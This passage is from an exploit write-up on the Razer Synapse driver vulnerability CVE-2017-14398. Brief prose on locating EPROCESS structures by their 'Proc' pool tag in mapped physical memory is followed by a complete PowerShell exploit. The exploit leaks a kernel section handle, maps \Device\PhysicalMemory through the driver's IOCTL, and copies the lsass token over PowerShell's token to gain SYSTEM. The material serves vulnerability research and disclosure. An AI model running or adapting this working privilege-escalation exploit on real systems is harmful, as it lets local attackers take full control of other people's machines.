Notice that we are measuring success by reading the NTSTATUS code and that the Int64 which was previously 0 now returns the address, in our local process, where the section was mapped. Looking in Process Hacker we can see a nice innocuous memory allocation of exactly 1024kb.
Using Process Hacker we can actually save that memory chunk do disk. If we do that and kind of scroll through, we can see some humorous stuff as show below. Bootkit anyone?
We pretty much proved the vulnerability, but how do we get a SYSTEM shell now?
Hunting EPROCESS
The most straight-forward way we can exploit this is by doing a classic token stealing attack. The difficulty is finding the EPROCESS structure in our mapped memory. Some poking around in WinDBG shows that the EPROCESS structure is allocated in a 'Proc' pool chunk.
By subtracting the start of the 'Proc' pool chunk from the EPROCESS pointer we also immediately get the header size. Conversely, if we have an arbitrary 'Proc' pool address we can calculate the location of any property in the EPROCESS structure.
If you want to look up these architecture/version dependent offsets without jumping into KD you can use the Terminus Project. This is a great resource by @rwfpl which has saved me a lot of time on a quite few occasions!
So we effectively reduced our problem to finding 'Proc' pool chunks, not exactly a win yet. To find these chunks we can scan the mapped section for the unique 'Proc' pool tag.
As a matter of optimization notice that the pool chunks are aligned to a 10 hex boundary. Essentially, that means we only need to read a single DWORD every 16 bytes. This doesn't seem like much but it saves us precious time. Even so the searching was very very slow as 'Proc' pool chunks started showing up after ~900mb. To further optimize the search we can start scanning the mapped memory at an offset of 0x30000000 (0x30000000/(1024*1024) = 768mb) leaving enough variance for different OS versions.
To test the theory we can use the following loop (on a 1.2gb mapped section) to find 'Proc' pool chunks and dump out some EPROCESS data for confirmation.
echo "`n[>] Parsing physical memory, coffee time..`n"
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
# Read potential pooltag
$Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
# If pooltag matches Proc, pull out details..
if ($Val -eq 0xe36f7250) {
echo "[+] w00t Proc chunk found!"
$ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
$Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
$ProcID = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x180)
echo "[>] Address: $('{0:X}' -f $($Address+$i))"
echo "[>] $ProcessName"
echo "[>] $ProcID"
echo "[>] Token: $('{0:X}' -f $Token)"
echo "==========================================="
}
}
A portion of the result is shown below.
As you can see, this implementation is not perfect, some image names are truncated and a small amount of detections don't appear to be EPROCESS structures at all. Luckily I found that most of processes were guaranteed to be detected correctly (including PowerShell/lsass).
Game Over
All that remains is to modify the loop above slightly so it records the lsass token and the location of the PowerShell token. Once both elements are found we can simply overwrite the PowerShell token and elevate to SYSTEM! While some experimentation may be required, porting this exploit to 8,8.1,10 should be a fairly straight-forward exercise. The only considerations would be changes in the EPROCESS structure and developing a strategy to deal with multiple section handles in the System process. The final exploit is shown below.
function RZ-ZwMapViewOfSection {
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class Razer
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
IntPtr OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(
UInt32 processAccess,
bool bInheritHandle,
int processId);
}
"@
#----------------[Helper Funcs]
$CVE201714398 = @"
shhsddh
shhy Mhsdms
mmyydN hNh
hM syyMdds smNy
shyshy Nd s sMshNs yssmm Razer Synapse EOP - CVE-2017-14398
shhdh hNs dNNNddmdsd yMs
sddds mhydNmddmdmddy
dMdhy [by b33f -> @FuzzySec]
dNsyyss
smmdddmmmddmh
yhmh
hdd
yd
"@
$CVE201714398
#----------------[Helper Funcs]
function Get-Handles {
<#
.SYNOPSIS
Use NtQuerySystemInformation::SystemHandleInformation to get a list of
open handles in the specified process, works on x32/x64.
Notes:
* For more robust coding I would recomend using @mattifestation's
Get-NtSystemInformation.ps1 part of PowerShellArsenal.
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
C:\PS> $Key |ft
ObjectType AccessMask PID Handle HandleFlags KernelPointer
---------- ---------- --- ------ ----------- -------------
Key 0x00000000 4 0x004C NONE 0xFFFFC9076FC29BC0
Key 0x00020000 4 0x0054 NONE 0xFFFFC9076FCDA7F0
Key 0x000F0000 4 0x0058 NONE 0xFFFFC9076FC39CE0
Key 0x00000000 4 0x0090 NONE 0xFFFFC907700A6B40
Key 0x00000000 4 0x0098 NONE 0xFFFFC90770029F70
Key 0x00020000 4 0x00A0 NONE 0xFFFFC9076FC9C1A0
[...Snip...]
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $True)]
[int]$ProcID
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_HANDLE_INFORMATION
{
public UInt32 ProcessID;
public Byte ObjectTypeNumber;
public Byte Flags;
public UInt16 HandleValue;
public IntPtr Object_Pointer;
public UInt32 GrantedAccess;
}
public static class GetHandles
{
[DllImport("ntdll.dll")]
public static extern int NtQuerySystemInformation(
int SystemInformationClass,
IntPtr SystemInformation,
int SystemInformationLength,
ref int ReturnLength);
}
"@
# Make sure the PID exists
if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
Return
}
# Flag switches (0 = NONE?)
$FlagSwitches = @{
0 = 'NONE'
1 = 'PROTECT_FROM_CLOSE'
2 = 'INHERIT'
}
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Windows 10 (Tested on v1511)
{
# Win 10 v1703
if ($OSVersion.Build -ge 15063) {
$TypeSwitches = @{
0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
0x2d = 'ALPC Port'; 0x20 = 'Driver';
}
}
# Win 10 v1607
if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
$TypeSwitches = @{
0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
}
}
# Win 10 v1511
if ($OSVersion.Build -lt 14393) {
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
}
}
}
'6.2' # Windows 8 and Windows Server 2012
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
}
}
'6.1' # Windows 7 and Window Server 2008 R2
{
$TypeSwitches = @{
0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
0x2b = 'PcwObject';
}
}
'6.0' # Windows Vista and Windows Server 2008
{
$TypeSwitches = @{
0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
}
}
}
[int]$BuffPtr_Size = 0
while ($true) {
[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
$SystemInformationLength = New-Object Int
$CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
# STATUS_INFO_LENGTH_MISMATCH
if ($CallResult -eq 0xC0000004) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
}
# STATUS_SUCCESS
elseif ($CallResult -eq 0x00000000) {
break
}
# Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
else {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
return
}
}
$SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
$SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
$SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
} else {
$SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
# Ask no questions, hear no lies!
}
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
$SystemHandleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
# PtrToStructure only objects we are targeting, this is expensive computation
if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
$HashTable = @{
PID = $Cast.ProcessID
ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
HandleFlags = $FlagSwitches[[int]$Cast.Flags]
Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
}
$Object = New-Object PSObject -Property $HashTable
$SystemHandleArray += $Object
}
$BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
}
if ($($SystemHandleArray.count) -eq 0) {
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
Return
}
# Set column order and auto size
$SystemHandleArray
# Free SYSTEM_HANDLE_INFORMATION array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
}
#----------------[Get Driver Handle]
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver access OK.."
echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
echo "[+] Handle: $hDevice"
}
#----------------[Prepare buffer & Send IOCTL]
# Get full access process handle to self
echo "`n[>] Opening full access handle to PowerShell.."
$hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
echo "[+] PowerShell handle: $hPoshProc"
# Get Section handle
echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
# NTSTATUS ZwMapViewOfSection(
# _In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
# _In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
# _Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
# _In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
# _In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
# _Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
# _Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
# _In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
# _In_ ULONG AllocationType, | 0 -> Undocumented?
# _In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
# );
$InBuffer = @(
[System.BitConverter]::GetBytes($hPoshProc.ToInt64()) + # Param 1 - RDX=ProcessHandle
[System.BitConverter]::GetBytes([Int64]0x0) + # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
[System.BitConverter]::GetBytes($SystemSectionHandle) + # Param 3 - RCX=SectionHandle
[System.BitConverter]::GetBytes([Int64]4) + # Param 4 - ? junk ?
[System.BitConverter]::GetBytes([Int64]$(1200*1024*1024)) + # Param 5 - CommitSize / ViewSize
[System.BitConverter]::GetBytes([Int64]4) # Param 6 - ? junk ?
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Verifying ZwMapViewOfSection.."
$NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
$Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
if ($NTSTATUS -eq 0) {
echo "[+] NTSTATUS Success!"
echo "[+] 1.2GB RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)"
} else {
echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)"
}
#----------------[Parse PhysicalMemory]
echo "`n[>] Parsing physical memory, coffee time..`n"
# Store PwnCount so we can exit our loop!
$PwnCount = 0
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
# Read potential pooltag
$Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
# If pooltag matches Proc, pull out details..
if ($Val -eq 0xe36f7250) {
echo "[?] w00t Proc chunk found!"
$ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
if ($ProcessName -eq "powershell.exe") {
$Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
$WriteWhere = $Address+$i+0x60+0x208
echo "`n[>] PowerShell poolparty: $('{0:X}' -f $($Address+$i))"
echo "[+] Token: $('{0:X}' -f $Token)`n"
$PwnCount += 1
}
if ($ProcessName -eq "lsass.exe") {
$Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
$WriteWhat = $Token
echo "`n[>] LSASS poolparty: $('{0:X}' -f $($Address+$i))"
echo "[+] Token: $('{0:X}' -f $Token)`n"
$PwnCount += 1
}
# Check if PwnCount is 2
if ($PwnCount -eq 2) {
# Overwrite PowerShell token & exit
echo "[>] Duplicating SYSTEM token..`n"
[System.Runtime.InteropServices.Marshal]::WriteInt64($WriteWhere,$WriteWhat)
Break
}
}
}
}